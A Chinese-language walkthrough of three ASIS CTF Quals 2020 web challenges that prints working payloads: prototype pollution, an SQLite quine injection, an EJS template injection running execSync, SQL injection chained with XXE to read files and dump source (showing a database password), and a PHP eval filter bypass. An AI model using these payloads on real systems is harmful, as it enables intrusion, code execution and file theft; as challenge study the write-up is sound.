ASIS CTF Quals 2020 web复现

听说这期题目不错,就复现了一下,由难到易


Admin Panel

源码
app.js

const express = require('express');
const app = express();
const session = require('express-session');
const db = require('better-sqlite3')('./db.db', {readonly: true});
const cookieParser = require("cookie-parser");
const FileStore = require('session-file-store')(session);
const fs = require('fs');

app.locals.flag = "REDACTED"
app.use(express.static('static'));
app.use(cookieParser());
app.use(express.urlencoded({extended: false}));
app.use(express.json());
app.set('views', __dirname + '/views');
app.set('view engine', 'ejs');
app.engine('html', require('ejs').renderFile);

const server = app.listen(3000, function(){
    console.log("Server started on port 3000")
});

app.use(session({
	secret: 'REDACTED',
	resave: false,
	saveUninitialized: true,
	store: new FileStore({path: __dirname+'/sessions/'})
}));

const router = require('./router/main')(app, db, fs);

main.js

module.exports = function(app, db, fs){
    app.get('/', function(req, res){
        res.render('index.html')
    });

    app.post('/login', function(req, res){
        var user = {};
        var tmp = req.body;
        var row;

        if(typeof tmp.pw !== "undefined"){
            tmp.pw = tmp.pw.replace(/\\/gi,'').replace(/\'/gi,'').replace(/-/gi,'').replace(/#/gi,'');
        }

        for(var key in tmp){
            user[key] = tmp[key];
        }

        if(req.connection.remoteAddress !== '::ffff:127.0.0.1' && tmp.id === 'admin' || typeof user.id === "undefined"){
            user.id = 'guest';
        }
        req.session.user = user.id;

        if(typeof user.pw !== "undefined"){
            row = db.prepare(`select pw from users where id='admin' and pw='${user.pw}'`).get();
            if(typeof row !== "undefined"){
                req.session.isAdmin = (row.pw === user.pw);
            }else{
                req.session.isAdmin = false;
            }
            if(req.session.isAdmin && req.session.user === 'admin'){
                res.statusCode = 302;
                res.setHeader('Location','admin');
                res.end();
            }else{
                res.end("Access Denied!");
            }
        }else{
            res.end("No password given.");
        }
    });

    app.get('/admin', function(req, res){
        if(typeof req.session.isAdmin !== "undefined" && req.session.isAdmin && req.session.user === 'admin'){
            if(typeof req.query.test !== "undefined"){
                res.render(req.query.test);
            }else{
                res.render("admin.html");
            }
        }else{
            res.end("Access Denied!");
        }
    });

    app.post('/upload', function(req, res){
        if(typeof req.session.isAdmin !== "undefined" && req.session.isAdmin && req.session.user === 'admin'){
            if(typeof req.body.name !== "undefined" && typeof req.body.file !== "undefined"){
                var fname = req.body.name;
                var dir = './views/upload/'+req.session.id;
                var contents = req.body.file;

                !fs.existsSync(dir) && fs.mkdirSync(dir);
                fs.writeFileSync(dir+'/'+fname, contents);
                res.end("Done.");
            }else{
                res.end("Something's wrong");
            }
        }else{
            res.end("Permission Denied!");
        }
    });
}

漏洞点

原型链污染
for(var key in tmp){
    user[key] = tmp[key];
}

这儿可以直接进行原型链污染
ASIS CTF Quals 2020 web复现_第1张图片

SQLite注入

很明显这儿存在着注入
这儿我们先考虑盲注
由于SQLite不像MYSQL那样有sleep()函数
我们只能通过让它运算更长时间来达到延时的目的
randomblob(N) 返回一个 N 字节长的包含伪随机字节的 BLOGN 应该是正整数
关于randomblob()这个函数,实际上还有更有意思的东西:如果长度N过长就会出现Error
ASIS CTF Quals 2020 web复现_第2张图片
所以我们直接盲注就可以
payload

{"__proto__": {"id": "admin","pw": "xxx' union select case when (条件) then (select randomblob(100000000000000)) else 1 end--"}}

然而始终跑不出来,因为这儿的表是空的~~



那我们怎么把使条件成立呢?
除非row.pw === user.pw返回True

重点来了

SQLite配合replacezeroblob||连接符可以使等式成立
上面的函数只在SQLite中成立(||mysql中使用必须设置set session sql_mode='STRICT_TRANS_TABLES,NO_ENGINE_SUBSTITUTION,pipes_as_concat';

Payload  :' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||')--
Generates:' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||

可以发现后面的’)–没有了,这个也得被重复,所以还得再套一层:

Payload  :' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')--')--')--
Generates:' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')--')--')--

ASIS CTF Quals 2020 web复现_第3张图片
这样就直接跳到admin的页面了



ejs模板注入
<%- global.process.mainModule.require('child_process').execSync('cat app.js') %>

ASIS CTF Quals 2020 web复现_第4张图片
我们看一下源码

var dir = './views/upload/'+req.session.id;

题目并没有告诉我们session.id是什么
通过读源码我们知道

s:.中间的部分就是session.id

我们的connect.sid为:
s:ZzK6mUc_xOxQY7Y-qR1ckf-4QdprkYdi.QDraIIPMwEHgcra9xUMbHmDjTivIkbAAxyfhVL1PJXY

所以session.id=ZzK6mUc_xOxQY7Y-qR1ckf-4QdprkYdi

ASIS CTF Quals 2020 web复现_第5张图片



Treasury #1 & Treasury #2

这道题主要考察SQL注入和XXE
通过寻找我们这个url

https://poems.asisctf.com/books.php?type=excerpt&id=1

然后尝试注入
ASIS CTF Quals 2020 web复现_第6张图片

我们可以看见这儿直接有回显,而且通过报错我们知道查询出来的数据使用了simplexml_load_string()处理

我们先查询一下数据库

Table: books
id=-1' select group_concat(table_name) from information_schema.tables where table_schema=database()--+#
Column: id,info
id=-1'union select group_concat(column_name) from information_schema.columns where table_schema=database()--+#

我们看见这儿并没有flag
我们查看一下
由于最后查询的数据会经过simplexml_load_string()处理,所以我们直接用XXE读文件
根据上面的url猜测提取xmlexcerpt
payload:
id=-1’ union select ‘1abc’-- -
ASIS CTF Quals 2020 web复现_第7张图片
我们的猜测没有问题,是直接读取xmlexcerpt

然后随便找个读文件的xxe

id=-1' union select '<!DOCTYPE excerpt [<!ENTITY xxe SYSTEM "file:///flag">]><root><excerpt>%26xxe;</excerpt></root>'-- -

ASIS CTF Quals 2020 web复现_第8张图片
得到flag



然后是第二部分
第二部分的flag不在根目录下,我们先读一下books.php
payload:

id=-1' union select '<!DOCTYPE excerpt [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///code/books.php">]><root><excerpt>%26xxe;</excerpt></root>'--- -

得到的base64解码得到

<?php
sleep(1);

function connect_to_database() {
  $link = mysqli_connect("web4-mariadb", "ctfuser", "dhY#OThsdivojq2", "ASISCTF");
  if (!$link) {
    echo "Error: Unable to connect to DB.";
    exit;
  }
  return $link;
}

function fetch_books($condition) {
  $link = connect_to_database();
  if ($condition === "") {
    $where_condition = "";
  } else {
    $where_condition = "WHERE $condition";
  }
  $query = "SELECT info FROM books $where_condition";
  if ($result = mysqli_query($link, $query, MYSQLI_USE_RESULT)) {
    $books_info = array();
    while($row = $result->fetch_array(MYSQLI_NUM)) {
      $books_info[] = (string) $row[0];
    }
    mysqli_free_result($result);
  }
  mysqli_close($link);
  return $books_info;
}

function xml2array($xml) {
  return array(
    'id' => (string) $xml->id,
    'name' => (string) $xml->name,
    'author' => (string) $xml->author,
    'year' => (string) $xml->year,
    'link' => (string) $xml->link
  );
}

function get_all_books() {
  $books = array();
  $books_info = fetch_books("");
  foreach ($books_info as $info) {
    $xml = simplexml_load_string($info, 'SimpleXMLElement', LIBXML_NOENT);
    $books[] = xml2array($xml);
  }
  return $books;
}

function find_book($condition) {
  $book_info = fetch_books($condition)[0];
  $xml = simplexml_load_string($book_info, 'SimpleXMLElement', LIBXML_NOENT);
  return $xml;
}

$type = @$_GET["type"];
if ($type === "list") {
  $books = get_all_books();
  echo json_encode($books);

} elseif ($type === "excerpt") {
  $id = @$_GET["id"];
  $book = find_book("id='$id'");
  $bookExcerpt = $book->excerpt;
  echo $bookExcerpt;

} else {
  echo "Invalid type";
}

我们可以看见,确实是读取数据库数据,然后用simplexml_load_string处理提取excerpt部分
那会不会flag在数据库中,而因为只提取了excerpt而显示不出来呢?
我们用replace函数替换>标签

payload:

id=-1' union select concat('<root><id>4</id><excerpt>',replace((select group_concat(id,info) from books),'<','x'),'</excerpt></root>')-- -

ASIS CTF Quals 2020 web复现_第9张图片
得到flag~~



Warm-up

源码

<?php
if(isset($_GET['view-source'])){
    highlight_file(__FILE__);
    die();
}

if(isset($_GET['warmup'])){
    if(!preg_match('/[A-Za-z]/is',$_GET['warmup']) && strlen($_GET['warmup']) <= 60) {
    eval($_GET['warmup']);
    }else{
        die("Try harder!");
    }
}else{
    die("No param given");
}


取反绕过
~%89%9E%8D%A0%9B%8A%92%8F       						 //   var_dump
~%8C%9C%9E%91%9B%96%8D            						//   scandir
~%D1%D0						    						 //   ./
~%99%96%93%9A%A0%98%9A%8B%A0%9C%90%91%8B%9A%91%8B%8C		// file_get_contents
~%99%93%9E%98%D1%8F%97%8F								// flag.php
?warmup=(~%89%9E%8D%A0%9B%8A%92%8F)((~%8C%9C%9E%91%9B%96%8D)(~%D1%D0));      //var_dump(scandir('./'))

在这里插入图片描述

?warmup=(~%89%9E%8D%A0%9B%8A%92%8F)((~%99%96%93%9A%A0%98%9A%8B%A0%9C%90%91%8B%9A%91%8B%8C)(~%99%93%9E%98%D1%8F%97%8F));      //var_dump(file_get_contents('flag.php'));

在这里插入图片描述



参考链接

参考链接

你可能感兴趣的:(ctf)